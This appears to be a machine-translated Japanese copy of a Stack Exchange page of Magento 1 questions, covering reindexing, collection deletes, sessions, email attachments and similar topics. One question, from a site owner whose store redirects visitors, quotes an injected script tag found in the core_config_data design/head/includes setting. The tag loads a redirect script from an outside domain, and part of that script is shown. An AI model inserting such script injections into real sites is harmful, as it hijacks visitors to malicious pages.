タグ付けされた質問 「magento-1」

マイナーバージョンに固有ではないMagento 1に関する一般的な質問。これを使用してMagento 2と区別できますが、特定のインストールに問題がある場合は、代わりに適切なmagento-1.xタグを使用してください。

5
単一の製品のインデックスを再作成する
更新後に単一の製品のインデックスを再作成したいと思います。 今私は使用します: $product = Mage::getModel('catalog/product')->loadByAttribute('sku', 'foobar'); // edit something $product->save(); $stockItem = Mage::getModel('cataloginventory/stock_item')->loadByProduct($product->getId()); $stockItem->setForceReindexRequired(true); Mage::getSingleton('index/indexer')->processEntityAction( $stockItem, Mage_CatalogInventory_Model_Stock_Item::ENTITY, Mage_Index_Model_Event::TYPE_SAVE ); $product ->setForceReindexRequired(true) ->setIsChangedCategories(true); Mage::getSingleton('index/indexer')->processEntityAction( $product, Mage_Catalog_Model_Product::ENTITY, Mage_Index_Model_Event::TYPE_SAVE ); しかし、これは機能しません、何かアイデアはありますか? PS: $product->getId()存在し、正しいです。

3
Magento 1:エンティティを削除するためのパフォーマンス最適化
現在、パフォーマンスに関していくつかのモジュールを改善しようとしています。 コレクションでのメソッドの使用法を知っている方もいるかもしれません。これは、製品を直接ループするのを回避するのに非常に役立ちます。walk() さらに、@ Vinaiのおかげで、コレクションdelete()メソッドを使用することもできます。 しかし、Magento 1のネイティブファイルは、これらの方法のいずれかを使用して削除するとは限らないことに気づきました。 私が見てきた最悪のコードの一つがあるmassDelete()からメソッドapp/code/core/Mage/Adminhtml/controllers/Catalog/ProductController.phpどこの製品は、削除前のループでロードされます。 foreach ($productIds as $productId) { $product = Mage::getSingleton('catalog/product')->load($productId); Mage::dispatchEvent('catalog_controller_product_delete', array('product' => $product)); $product->delete(); } そこで、パフォーマンステストをいくつか行い、ロギングの呼び出しをいくつか追加して、100製品の削除にかかった時間とメモリ使用量を確認しました。 テスト1:walkメソッド 上記に貼り付けた元のコードを次のコードに置き換えました。 $collection = Mage::getResourceModel('catalog/product_collection') ->addAttributeToSelect('entity_id') ->addIdFilter($productIds) ->walk('delete'); そして私の結果は私のくだらない開発サーバーで次のとおりです(10回のテストに基づく平均): 元のコード:19.97秒、15.84MB使用 カスタムコード:17.12秒、15.45MB使用 したがって、100個の製品を削除すると、私のカスタムコードは3秒速くなり、使用するメモリは0.4MB少なくなります。 テスト2:コレクションdelete()メソッドの使用 元のコードを次のコードに置き換えました: $collection = Mage::getResourceModel('catalog/product_collection') ->addAttributeToSelect('entity_id') ->addIdFilter($productIds) ->delete(); そしてここで吹き飛ばされた心は結果です: 元のコード:19.97秒、15.84MB使用 カスタムコード:1.24秒、6.34MB使用 したがって、100個の製品を削除すると、私のカスタムコードは18秒速くなり、使用するメモリは9MB少なくなります。 コメントで述べたように、このメソッドはMagentoイベント(ロード後、削除後)も、インデックス/キャッシュフラッシュもトリガーしないようです。 質問 だから私の質問は:Magentoコアチームがループで製品をロードするのではなくwalk('delete')、コレクションdelete()メソッドを使用しない理由がありますか? 主な目標は、モジュール開発の場合は、そのようなキーポイントに注意することがある:1を使用することはできませんいずれかの特定の例があるwalk/収集delete()方法は? …

5
MagentoでJqueryを追加する方法?
About Usページの現在のプロジェクトでは、タブを追加して別のセクションに切り替える必要があります。これはJQueryタブで実行できることはわかっていますが、magentoと統合するときにこれを行う方法がわかりません。

1
顧客のis_activeフラグは何をしますか?
今日のディスカッションで、Customer is_activeフラグは実際には何もしないことが通知されました。 これは、EAV属性ではないという点で、顧客の電子メールアドレスのような一意のフラグです。代わりに、customer_entityテーブルの列です。 テスト用にフラグを0に設定してみましたが、まだログインできます。他のすべての機能は正常に動作するようです。 このフラグは開発者の便宜のために提供されていますか?将来の使用を目的としていますか?is_activeは何をしますか? 編集:関連するスタックオーバーフローは次のとおりです:https : //stackoverflow.com/questions/3617832/disable-customer-in-magento

7
ウェブサイトが別のURLへのリダイレクトを開始する
Maybe it's infected by some virus. 私のウェブサイトはこれらの感染したURLへのリダイレクトを開始します。 http://mon.setsu.xyz およびしばらくhttps://tiphainemollard.us/index/?1371499155545 感染したリンク 私が解決するために何をしたか。 コメント付きの.htaccessファイル(何も起こらない) コメント付きのインクルードフォルダー(何も起こらない) 完全なサーバーをスキャンしました(ウイルスマルウェアが検出されなかったことはありません) データベースのCSS、メディア、およびjsパスを変更して、そのPHPまたはjsが実行している天気を確認します(何も起こりません)。 select * from core_config_data where path like '%secure%';すべてのリンクは問題ありません UPDATE 私はグーグルでこれについて多くの記事が書かれていましたが、それはブラウザの問題か私のシステムが感染していることを示唆しています。 私の携帯電話や個人のラップトップでサイトを開いても、これに関する記事は同じです。 アップデート2 影響を受けるデータベースの行を見つけました。(Boris K.も言っているように) ではcore_config_data 、テーブル design/head/includes 値持っています <script src="<a href="https://melissatgmt.us/redirect_base/redirect.js">https://melissatgmt.us/redirect_base/redirect.js</a>" id="1371499155545"></script> ページ読み込み時にヘッドセクションに挿入されます。 上記のURLにアクセスすると、リダイレクトのスクリプトが表示されます。 var redirChrome; var isToChrome = document.currentScript.getAttribute('data-type'); if((isToChrome == 1 && navigator.userAgent.indexOf("Chrome") …

1
Magento認定デベロッパープラス:EEの質問は解消されますか?
今年はDeveloper Plus認定を予約する予定です。 しかし、私はEEであまり働いていません。 私はすでに開発者の資格を取得しており、Developer Plus試験のEEの質問が解消されるかどうか疑問に思っていましたか? たとえば、開発者試験の問題を正解し、EEのすべての問題を間違った場合でも、合格しますか?

1
addFieldToSelectに対するaddExpressionFieldToSelectの使用は何ですか?
私はMagentoを勉強していますが、addExpressionFieldToSelectover の使い方がよくわかりませんaddFieldToSelect。私は私の読書のどこにも答えを見つけていません。私の知る限り、フィールド名を書き換えているようですが、書き換えで配列を渡した場合のみです。フィールドをどのように書き換える必要があるかわかっているのに、なぜ最初からaddFieldToSelectでこれを実行できないのでしょうか。

2
作成時間(今日、昨日、週、時間など)によるMagentoフィルターコレクション
作成日と「昨日」作成されたhetエントリでフィルタリングするカスタムコレクションがあります。 コレクションエントリ //dates are set in controller using setCreatedTime(Mage::getModel('core/date')->gmtDate()); 昨日作成(機能しません) //3 products items Yesterday //below filtering outputs incorrect entries $collection = Mage::getModel('things/things')->getCollection(); 試しましたが、正しくないエントリが出力されます。 //thought strtotime('yesterday') would work.. $collection->addFieldToFilter('created_time', array('gt' => Mage::getModel('core/date')->date('Y-m-d H:i:s', strtotime('yesterday')))); $collection->addFieldToFilter('created_time', array('gt' => Mage::getModel('core/date')->date('Y-m-d H:i:s', strtotime('-1 day')))); $collection->addFieldToFilter('created_time', array('from'=> strtotime('-1 day', time()),'to'=> time(),'datetime' => true)); $fromDate = …

2
Magentoはいつセッションを使用し、いつCookieを使用しますか?
MagentoにはセッションとCookie処理のための次のコア関数があることを知っています。 Mage::getSingleton('core/cookie'); Mage::getSingleton('core/session'); MagentoはいつCookieを設定し、いつPHPセッションを設定しますか?ユースケースは何ですか? Magentoがカートの情報を保存しMage::getSingleton('checkout/session')、ユーザーのステータスをに保存しているので、少し混乱していますMage::getSingleton('customer/session')。しかし、チェックアウトセッションはセッションではなく、Cookieのようです。ブラウザーを閉じてページを再度開いたとき、アイテムはまだカートに残っているからです。 つまり、checkout/sessionモデルはグローバル$_SESSION変数ではなくCookieを設定するということですか?

8
エラー404-新しいサーバーに移動した後、バックエンドにアクセスできません
新しいサーバーにドメインを移動しました(ドメイン名は同じです)。フロントエンドは正常に動作していますが、管理者ログインページで404 Not Foundエラーが発生します。 この問題に関するほとんどの投稿は、この投稿に記載されている解決策を示唆していますMagentoのウェブサイトを転送しています、管理パネルのURLは404を示しています 私はそれらすべてを試しましたが、何もうまくいきませんでした。これを修正するために他に何かできることはありますか?


5
Magento:メールで添付ファイルを送信する
カスタムモジュールでは、この関数を使用してメールを送信します。 public function sendMail($errorCod, $errorMsg) { $mail = Mage::getModel('core/email'); $recipients = array( Mage::getStoreConfig('trans_email/ident_custom1/name') => Mage::getStoreConfig('trans_email/ident_custom1/email'), Mage::getStoreConfig('trans_email/ident_custom2/name') => Mage::getStoreConfig('trans_email/ident_custom2/email') ); foreach ($recipients as $recipient): $mail->setToEmail($recipient); $mailBody = "<b>Error Code: </b>".$errorCod."<br />"; $mailBody .= "<b>Error Massage: </b>".$errorMsg."<br />"; $mail->setBody($mailBody); $mail->setSubject('Lorem Ipsum'); $mail->setFromEmail(Mage::getStoreConfig('trans_email/ident_general/email')); $mail->setFromName("Lorem Ipsum"); $mail->setType('html'); try { $mail->send(); } catch (Exception $e) …


1
製品が注文された回数を確認する
過去2週間に製品が注文された回数を調べようとしています。これまでのところ、製品を取得するループがあります。 foreach($productCollection as $product){ } これをループ内に配置すると、注文の詳細を取得できるはずです $order_items = Mage::getResourceModel('sales/order_item_collection') これをフィルタリングする方法については、少しわかりません。商品IDでフィルタリングする必要があることと、注文が過去2週間以内に行われたことを知っています。 このクエリの構文はどのように見えるべきですか?

2
ユーザーに配達日を選択させるには?
私のウェブサイトはギフト用のウェブサイトなので、ユーザーに配達日を選択させる必要があります。発送詳細のステップでその選択(カレンダーポップアップ付きのテキストボックス)が必要です。無料の拡張機能をググることはできますが、その問題をすでに解決している人から連絡が必要です。また、コアファイルを変更したくありません。

弊社のサイトを使用することにより、あなたは弊社のクッキーポリシーおよびプライバシーポリシーを読み、理解したものとみなされます。
Licensed under cc by-sa 3.0 with attribution required.